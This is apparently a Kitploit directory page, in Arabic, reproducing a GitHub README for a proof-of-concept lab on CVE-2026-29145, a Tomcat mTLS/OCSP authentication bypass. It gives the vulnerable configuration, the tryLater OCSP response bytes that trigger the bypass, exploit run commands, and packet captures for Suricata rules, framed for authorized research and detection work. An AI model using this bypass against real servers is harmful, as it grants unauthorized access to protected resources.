Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-29145-Everything — بيئة إثبات مفهوم قابلة للتكرار لثغرة CVE-2026-29145 في Apache Tomcat (تجاوز فشل ناعم لـ CLIENT_CERT + OCSP)، بما في ذلك نصوص الاستغلال، ومستجيب OCSP وهمي، وقواعد كشف Suricata. | Kitploit
أدوات/GitHubGitHub/gkdgkd123/cve-2026-29145-everything
المصادقة والترخيصتحليل الثغرات الأمنيةالاستغلالالتهرب من IDS/IPSاستغلال تطبيقات الويباختبار الاختراقكشف التسللالتعلم والتعليممختبرات وتدريب عملي

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHubgkdgkd123/cve-2026-29145-everything

CVE-2026-29145-Everything

بيئة إثبات مفهوم قابلة للتكرار لثغرة CVE-2026-29145 في Apache Tomcat (تجاوز فشل ناعم لـ CLIENT_CERT + OCSP)، بما في ذلك نصوص الاستغلال، ومستجيب OCSP وهمي، وقواعد كشف Suricata.

عرض المستودع
1منذ شهر واحدلم تتم المراجعة بعد

CVE-2026-29145 كل شيء

Apache Tomcat CLIENT_CERT + OCSP soft-fail bypass بيئة إعادة إنتاج كاملة، حزم حركة المرور المستغلة، ومواد كتابة قواعد كشف Suricata.

مخصص فقط لأبحاث الأمن المصرح بها وتطوير قواعد الكشف. لا تستخدم على أنظمة غير مصرح بها.


ملخص الثغرة

العنصرالوصف
CVECVE-2026-29145
المكونApache Tomcat / Tomcat Native
النوعتجاوز المصادقة (mTLS / CLIENT_CERT)
CVSS9.1 (NVD) / معتدل (Apache)
الإصدارات المتأثرةTomcat 10.1.0-M7–10.1.52، 9.0.83–9.0.115، 11.0.0-M1–11.0.18؛ Native 2.0.0–2.0.13 وغيره
الإصدارات المُصلحةTomcat 10.1.53+ / 9.0.116+ / 11.0.20+؛ Native 2.0.14+

مبدأ الثغرة

عند تمكين CLIENT_CERT و OCSP في Tomcat، مع تكوين ocspSoftFail=false (فشل قاسٍ)، فإن بعض مسارات فشل OCSP (خاصة حالة الاستجابة tryLater) لا تزال لا تُعالج كفشل قاسٍ، مما يؤدي إلى قبول شهادة عميل كان يجب رفضها، وبالتالي يمكن الوصول إلى الموارد المحمية.

الإصلاح الرسمي (مثال: Tomcat commit fe26667c) جعل معالجة TRY_LATER في مسار FFM متوافقة مع Tomcat Native.

استنتاجات الاختبار في هذا المستودع

على Tomcat 10.1.52 + Tomcat Native 2.0.12:

النقطة الأساسية: يجب إرجاع tryLater وفقًا لـ RFC 6960، فقط HTTP 500 لا يكفي لتحفيز التجاوز في هذه البيئة.


محتويات المستودع

root@kitploit:~
CVE-2026-29145-Everything/
├── README.md                 # هذا الملف
├── REPRODUCTION.md           # ملاحظات إعادة الإنتاج التفصيلية وتلميحات Suricata
├── docker-compose.yml        # Tomcat ضعيف + Mock OCSP
├── poc_exploit.py            # نص الاستغلال/الكشف (رمز الخروج 10 = ضعيف)
├── simple_proxy_fail.py      # Mock OCSP (فشل / نجاح / try_later / internal_error)
├── setup_certs.sh            # إنشاء شهادات CA / الخادم / العميل (مع OCSP AIA)
├── capture_exploit.sh        # الاستغلال بنقرة واحدة والتقاط الحزم
├── run_test.sh / cleanup.sh
├── requirements.txt
├── tomcat/
│   ├── server.xml            # mTLS + ocspEnabled + ocspSoftFail=false
│   ├── tomcat-users.xml      # تعيين مستخدمي CLIENT-CERT
│   ├── ROOT/                 # الحد الأدنى من التصحيح لصورة ROOT الافتراضية
│   └── protected/            # الموارد المحمية + web.xml (CLIENT-CERT)
└── pcaps/                    # ★ حركة مرور مستغلة ملتقطة (لكتابة القواعد)
    ├── CVE-2026-29145-mtls-and-ocsp.pcap   # الحزمة الرئيسية: mTLS + OCSP
    ├── CVE-2026-29145-ocsp-only.pcap       # OCSP نص عادي فقط
    ├── CVE-2026-29145-mtls-only.pcap       # TLS على المنفذ 8443 فقط
    └── exploit_response.html               # لقطة استجابة الاستغلال الناجحة

دليل الشهادات الخاصة certs/ تم تجاهله افتراضيًا بواسطة .gitignore، ويجب إنشاؤه محليًا.


البداية السريعة

المتطلبات

  • Docker / Docker Compose
  • OpenSSL
  • Python 3.7+ (pip install -r requirements.txt أو python3-requests للنظام)
  • tcpdump (اختياري لالتقاط الحزم)

إعادة الإنتاج بنقرة واحدة

root@kitploit:~
git clone https://github.com/gkdgkd123/CVE-2026-29145-Everything.git
cd CVE-2026-29145-Everything

# 1. إنشاء الشهادات (AIA يشير إلى اسم خدمة OCSP داخل Docker)
rm -rf certs
OCSP_URL=http://ocsp-responder:8888 ./setup_certs.sh

# 2. تشغيل البيئة (الوضع الافتراضي OCSP_MODE=try_later)
docker compose up -d
# انتظر حتى يصبح الحالة healthy
docker compose ps

# 3. تشغيل PoC
python3 poc_exploit.py
# الإخراج المتوقع:
#   [WARNING] VULNERABLE: Access granted despite OCSP check failure.
# رمز الخروج 10 = ضعيف؛ 0 = غير قابل للاستغلال/تم التصحيح

التحقق اليدوي:

root@kitploit:~
curl -sk --http1.1 \
  --cert certs/client-cert.pem \
  --key certs/client-key.pem \
  --cacert certs/ca-chain.pem \
  https://127.0.0.1:8443/protected-resource/

التقاط الحزم (الاحتفاظ بحركة المرور)

root@kitploit:~
./capture_exploit.sh
# الإخراج إلى pcaps/CVE-2026-29145-*.pcap

المستودع يتضمن بالفعل pcap لاستغلال ناجح واحد، يمكن استخدامه مباشرة للتحقق من قواعد Suricata دون الحاجة لإعادة التقاط الحزم.


أوضاع Mock OCSP

root@kitploit:~
# tryLater — مسار تحفيز CVE (افتراضي)
OCSP_MODE=try_later docker compose up -d --force-recreate

# فشل HTTP 500 (في هذه البيئة، الفشل القاسي سيرفض)
OCSP_MODE=fail docker compose up -d --force-recreate

# محاكاة نجاح OCSP (الجسم ليس DER حقيقي، فقط لاختبار الاتصال)
OCSP_MODE=succeed docker compose up -d --force-recreate

# internalError DER
OCSP_MODE=internal_error docker compose up -d --force-recreate

خصائص حركة المرور (مادة لـ Suricata)

هام: المنفذ 8443 هو mTLS مشفر بـ TLS 1.3، فتحه مباشرة بـ Wireshark سيبدو مثل النص المشوش.
المنفذ 8888 لـ OCSP هو HTTP نص عادي، كتابة القواعد يجب أن تركز على OCSP أولاً.
انظر الشرح الكامل في pcaps/README.md.

الملفات الموصى بها

OCSP نص عادي (قابل للمطابقة مباشرة على الشبكة)

root@kitploit:~
POST / HTTP/1.0
Host: ocsp-responder:8888
Content-Type: application/ocsp-request

HTTP/1.0 200 OK
Content-Type: application/ocsp-response
Content-Length: 5

[5 bytes DER] 30 03 0a 01 03    # tryLater

HTTP الأعمال بعد فك التشفير (يتطلب sslkeys.log)

root@kitploit:~
GET /protected-resource/ HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: CVE-2026-29145-PoC/1.0

HTTP/1.1 200
Content-Type: text/html
...
Protected Resource Access Granted

Wireshark: Preferences → Protocols → TLS → (Pre)-Master-Secret log filename = pcaps/sslkeys.log

root@kitploit:~
tshark -r pcaps/CVE-2026-29145-with-keys.pcap -o tls.keylog_file:pcaps/sslkeys.log   -Y 'http && tcp.port==8443' -V

انظر التفاصيل في REPRODUCTION.md و pcaps/README.md.


نقاط التكوين الرئيسية (server.xml الضعيف)

root@kitploit:~
<Connector port="8443" SSLEnabled="true"
           sslImplementationName="org.apache.tomcat.util.net.openssl.OpenSSLImplementation"
           ...>
  <SSLHostConfig
      certificateVerification="required"
      caCertificateFile="conf/certs/ca-chain.pem"
      ocspEnabled="true"
      ocspSoftFail="false"
      ocspTimeout="5">
    <Certificate ... />
  </SSLHostConfig>
</Connector>

CLIENT-CERT على مستوى التطبيق موجود في tomcat/protected/WEB-INF/web.xml.


اقتراحات الإصلاح

  1. ترقية Tomcat إلى 10.1.53+ (أو الإصدار المُصلح المقابل)
  2. ترقية Tomcat Native بالتزامن إلى 2.0.14+
  3. مراجعة سياسة ocspSoftFail وإمكانية الوصول إلى OCSP؛ إجراء اختبارات ارتداد لسلوك عدم الوصول/tryLater

التنظيف

root@kitploit:~
./cleanup.sh
# أو
docker compose down -v

المراجع

  • Apache Tomcat 10 Security — CVE-2026-29145
  • NVD CVE-2026-29145
  • RFC 6960 OCSP
  • هيكل PoC الأساسي: CVE-2026-29145-Tester (هذا المستودع عزز وجسّد التكوين القابل لإعادة الإنتاج ومسار tryLater)

إخلاء المسؤولية

هذا المشروع مخصص فقط للأغراض التعليمية، واختبار الاختراق المصرح به، وتطوير قواعد كشف الاقتحام. يجب على المستخدم ضمان حصوله على ترخيص قانوني للنظام المستهدف. المؤلف غير مسؤول عن أي استخدام مسيء.

تنزيل الأداة
سلوك OCSPocspSoftFailالنتيجة
DER tryLater (30 03 0a 01 03)falseHTTP 200 — تم التجاوز بنجاح
HTTP 500falseرفض TLS (تفعيل الفشل القاسي)
انتهاء مهلة OCSPfalseرفض TLS
أي فشلtrue200 (فشل ناعم متوقع)
الملفالوصف
pcaps/CVE-2026-29145-with-keys.pcap + pcaps/sslkeys.logجلسة كاملة قابلة لفك التشفير
pcaps/CVE-2026-29145-ocsp-only.pcapOCSP نص عادي (بدون مفتاح)
pcaps/cleartext/04_OCSP_HTTP_RECONSTRUCTED_CLEARTEXT.txtنص OCSP HTTP سهل القراءة
pcaps/cleartext/03_MTLS_HTTP_RECONSTRUCTED_CLEARTEXT.txtنص HTTP الأعمال بعد فك التشفير
rules/cve-2026-29145.rulesمثال لقواعد Suricata